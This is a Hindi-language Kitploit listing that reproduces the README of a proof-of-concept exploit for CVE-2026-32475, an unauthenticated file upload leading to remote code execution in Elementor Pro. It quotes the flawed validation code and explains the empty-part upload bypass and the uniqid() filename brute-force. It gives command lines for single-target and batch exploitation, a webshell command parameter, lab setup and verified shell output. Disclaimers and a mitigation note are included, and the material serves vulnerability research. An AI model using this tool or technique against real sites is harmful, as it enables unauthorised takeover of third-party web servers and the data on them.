Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/sahmsec/cve-2026-32475
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHubsahmsec/cve-2026-32475

CVE-2026-32475

CVE-2026-32475 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Elementor Pro में एक अनप्रमाणित मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है। स्वचालित खोज, अपलोड, और कमांड निष्पादन के साथ-साथ सफाई भी शामिल है।

रिपॉजिटरी देखें
1421 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड → RCE

CVE-2026-32475 (CVSS 9.0 क्रिटिकल, CWE-434) के लिए PoC: Elementor Pro Forms मॉड्यूल में एक बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है। Elementor Pro 4.2.2 (2026-08-19) में ठीक किया गया। Patchstack Bug Bounty कार्यक्रम के माध्यम से Tin Pham (TF1T) द्वारा रिपोर्ट किया गया।

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ कानूनी अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और रक्षात्मक परीक्षण के लिए प्रदान किया गया है।

  • इस टूल को चलाने से पहले आपके पास लक्ष्य प्रणाली का स्वामित्व होना चाहिए या सिस्टम स्वामी से स्पष्ट लिखित अनुमति होनी चाहिए।
  • कंप्यूटर सिस्टम तक अनधिकृत पहुंच अधिकांश न्यायक्षेत्रों में अवैध है (जैसे, अमेरिका में Computer Fraud and Abuse Act, यूके में Computer Misuse Act, और दुनिया भर में समान कानून) और इसके आपराधिक और नागरिक दंड हो सकते हैं।
  • लेखक और योगदानकर्ता इस कोड के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए नहीं मानते हैं।
कोई दायित्व
  • इस सॉफ़्टवेयर का उपयोग करके आप इसे जिम्मेदारी से और सभी लागू कानूनों के अनुपालन में उपयोग करने के लिए सहमत हैं।
  • भेद्यता क्या है

    Elementor Pro फॉर्म का File Upload फ़ील्ड अपलोड की गई प्रविष्टियों को अलग-अलग अर्थों वाले दो अलग-अलग लूपों में संसाधित करता है (modules/forms/fields/upload.php):

    root@kitploit:~
    // validation()
    foreach ( $files[$id] as $index => $file ) {
        if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
            return;                    // <-- पूरी METHOD को रोक देता है
        }
        // is_file_type_valid() ...    // प्रविष्टि #2 के लिए कभी नहीं पहुंचता
    }
    
    // process_field()
    foreach ( $files[$id] as $index => $file ) {
        if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
            continue;                  // <-- केवल इस प्रविष्टि को छोड़ता है
        }
        $filename = uniqid() . '.' . $file_extension;   // हमलावर-नियंत्रित एक्सटेंशन
        move_uploaded_file( $file['tmp_name'], $new_file );
    }
    

    समान अपलोड फ़ील्ड के लिए दो फ़ाइल भाग जमा करना — एक खाली पहला भाग (filename="" → UPLOAD_ERR_NO_FILE) उसके बाद .php पेलोड — validation() को एक्सटेंशन ब्लैकलिस्ट में पेलोड देखने से पहले ही लौटने का कारण बनता है, जबकि process_field() फिर भी इसे wp-content/uploads/elementor/forms/<uniqid()>.php में ले जाता है, जो एक सार्वजनिक वेब निर्देशिका है। उस URL को सीधे अनुरोध करना = रिमोट कोड निष्पादन।

    अपलोड POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) द्वारा संभाला जाता है जिसमें कोई प्रमाणीकरण और कोई nonce नहीं होता है। post_id, form_id और अपलोड फ़ील्ड का नाम सार्वजनिक पृष्ठ HTML में दिखाई देते हैं, इसलिए पूरा हमला बिना प्रमाणीकरण के होता है।

    आवश्यकताएँ

    लक्ष्य:

    • Elementor Pro ≤ 4.2.1 (सभी पुराने संस्करण प्रभावित हैं)
    • File Upload फ़ील्ड वाले Form विजेट के साथ कम से कम एक प्रकाशित पृष्ठ
    • अपलोड फ़ील्ड को Required के रूप में चिह्नित नहीं होना चाहिए (डिफ़ॉल्ट स्थिति)
    • फॉर्म पर कोई CAPTCHA नहीं (reCAPTCHA/turnstile बिना प्रमाणीकरण के सबमिशन को रोकता है)
    • अपलोड निर्देशिका को PHP निष्पादित करना चाहिए (अधिकांश Apache/cPanel होस्टिंग पर डिफ़ॉल्ट; कुछ कठोर nginx सेटअप पर अवरुद्ध)

    हमलावर:

    • Python 3.9+ (केवल मानक लाइब्रेरी — कोई निर्भरता नहीं)
    • लक्ष्य तक नेटवर्क पहुंच

    उपयोग

    एकल लक्ष्य (sitemap/होमपेज के माध्यम से फॉर्म पृष्ठ स्वतः खोजता है):

    root@kitploit:~
    python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
    

    स्पष्ट फॉर्म पृष्ठ:

    root@kitploit:~
    python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
    

    बैच मोड (sites.txt: प्रति पंक्ति एक साइट — base_url या base_url page_url):

    root@kitploit:~
    python script.py --list sites.txt --command "id" --cleanup --out results.json
    

    JSON सूची प्रारूप:

    root@kitploit:~
    [{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
    

    पहले से अपलोड किए गए शेल पर कमांड निष्पादित करें:

    root@kitploit:~
    python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
    

    मुख्य विकल्प

    FlagDefaultMeaning
    --url-एकल-लक्ष्य आधार URL
    --list-बैच मोड सूची फ़ाइल
    --page-url--urlवह पृष्ठ जिसमें फॉर्म है
    --commandid; hostname; uname -aशेल के माध्यम से चलाने के लिए कमांड
    --cleanupoffपरीक्षण के बाद वेबशेल को स्वयं हटाएं
    --field k=v-स्वतः भरे गए फॉर्म फ़ील्ड को ओवरराइड करें (दोहराने योग्य)
    --tail0.3अनुमानित अपलोड समय से पहले के सेकंड फाइन-स्वीप के लिए
    --step-fine1फाइन स्वीप का माइक्रोसेकंड चरण
    --full-secondoffपूर्ण uniqid सेकंड को ब्रूट-फोर्स करें (क्लॉक स्क्यू को हराता है)
    --attempts1अपलोड+स्वीप प्रयास (प्रत्येक बार नया यादृच्छिक फ़ाइलनाम)
    --max-probes600000प्रति प्रयास स्वीप अनुरोध बजट
    --workers50समानांतर स्वीप थ्रेड
    --insecureoffTLS त्रुटियों को अनदेखा करें (स्व-हस्ताक्षरित लक्ष्य)
    --out file.json-रिपोर्ट को JSON के रूप में लिखें

    टूल कैसे काम करता है

    1. खोज — File Upload फ़ील्ड वाला फॉर्म खोजने के लिए लक्ष्य पृष्ठ (या sitemap और होमपेज लिंक, अधिकतम 20 पृष्ठ) प्राप्त करता है।
    2. स्क्रैपिंग — post_id, form_id, अपलोड फ़ील्ड का नाम और हर अन्य फॉर्म फ़ील्ड निकालता है; सभी फ़ील्ड को उचित मानों से स्वतः भरता है ताकि आवश्यक फ़ील्ड सत्यापन पास करें (--field से ओवरराइड करें)।
    3. अपलोड — admin-ajax.php पर दो-भाग वाला multipart POST भेजता है। ध्यान दें: खाली errors ऑब्जेक्ट के साथ success:false को फिर भी अपलोड के रूप में माना जाता है, क्योंकि डिफ़ॉल्ट Email क्रिया wp_mail() विफल होने पर फ़ाइल स्थानांतरण के बाद फेंकती है। केवल अपलोड फ़ील्ड की अस्वीकृति (file type is not allowed) को अवरुद्ध माना जाता है।
    4. फ़ाइलनाम पुनर्प्राप्ति — uniqid() = 8 हेक्स सेकंड + 5 हेक्स माइक्रोसेकंड। सेकंड प्रतिक्रिया Date हेडर से आते हैं; उप-सेकंड अंश (t1 - date_epoch) % 1 से अनुमानित होता है (सटीक जब हमलावर और सर्वर क्लॉक करीब हों)। एक keep-alive प्रोबर (प्रति कनेक्शन एक अनुरोध से ~30x तेज़) माइक्रोसेकंड रिज़ॉल्यूशन पर मूव विंडो को स्वीप करता है; --full-second क्लॉक स्क्यू होने पर पूरे सेकंड को ब्रूट-फोर्स करता है।
    5. निष्पादन — GET <shell>?c=<command> कमांड चलाता है; --cleanup ?x=1 के माध्यम से शेल को हटा देता है।

    परिणाम स्थितियाँ

    StatusMeaning
    vulnerableशेल अपलोड हुआ और कमांड निष्पादित हुआ — अभी पैच करें
    blockedअपलोड फ़ील्ड अस्वीकृत (पैच किया गया 4.2.2+, आवश्यक फ़ील्ड, WAF, captcha)
    uploaded_no_execफ़ाइल पहुंची लेकिन फ़ाइलनाम पुनर्प्राप्त नहीं हुआ (--full-second के साथ पुनः प्रयास करें)
    no_formलक्ष्य पर कोई भेद्य फॉर्म नहीं मिला
    errorकनेक्शन/नेटवर्क त्रुटि

    लैब पुनरुत्पादन

    docker-compose.yml + setup_form_page.php भेद्य लक्ष्य को पुनरुत्पादित करते हैं:

    root@kitploit:~
    docker compose up -d
    docker compose run --rm wpcli wp core install \
        --url=http://localhost:8090 --title="Lab" --skip-email \
        --admin_user=admin --admin_password=admin123! [email protected]
    docker compose run --rm wpcli wp plugin install elementor --activate
    # अपना कानूनी रूप से प्राप्त elementor-pro.zip (<= 4.2.1) प्रोजेक्ट निर्देशिका में रखें, फिर:
    docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
    docker compose run --rm wpcli wp plugin activate elementor-pro
    docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
    docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
    
    python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
    

    सत्यापित आउटपुट

    root@kitploit:~
    [+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
    [*] Running command: uname -a
    \nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
    [*] Cleaning up (deleting webshell)...
        rm
    

    संदर्भ

    • Patchstack advisory
    • NVD entry
    • Elementor Pro changelog (4.2.2)

    निवारण

    Elementor Pro को 4.2.2+ में अपडेट करें। अपडेट करने से छेद बंद हो जाता है लेकिन पहले से अपलोड किए गए शेल नहीं हटते — wp-content/uploads/elementor/forms/ में आवारा .php फ़ाइलों के लिए ऑडिट करें।


    केवल अधिकृत सुरक्षा अनुसंधान और लैब उपयोग के लिए।

    टूल डाउनलोड करें